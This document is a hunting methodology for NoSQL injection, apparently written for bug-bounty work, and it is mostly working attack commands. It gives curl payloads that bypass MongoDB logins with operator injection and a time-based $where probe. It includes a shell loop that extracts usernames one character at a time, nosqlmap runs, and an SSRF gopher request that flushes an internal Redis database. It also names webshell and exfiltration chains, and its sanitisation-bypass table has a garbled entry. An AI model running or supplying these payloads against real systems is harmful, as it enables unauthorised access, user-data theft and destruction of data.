HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

• MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
• $where JS injection — if $where is enabled: blind injection → data exfil
• Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
• Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

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Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal	Vector
MongoDB error messages in response	Operator injection
mongoose / monk in JS bundles	ODM patterns
X-Powered-By: Express	Node.js + MongoDB common stack
CouchDB/_utils UI exposed	Futon/Fauxton admin
Redis port 6379 open (via SSRF)	CONFIG SET / SLAVEOF
Elasticsearch :9200 open	Script injection

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Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

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Bypass Table

Defense	Bypass
JSON.parse rejects objects	Use array: password[$ne]=x (URL params)
Sanitizes $	Unicode: $gt
Blocks operator keys	Nested objects deeper in structure

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Chain Table

NoSQLi finding	Chain to	Impact
Auth bypass	Admin panel access	Full admin control
User enum via regex	Credential stuffing	Mass ATO
$where enabled	Arbitrary JS in DB process	Data exfil or DoS
Redis via SSRF	CONFIG SET / SLAVEOF	Webshell or data exfil

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Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

• Auth bypass as admin: Critical
• User collection dump: High
• Blind injection (no useful exfil): Medium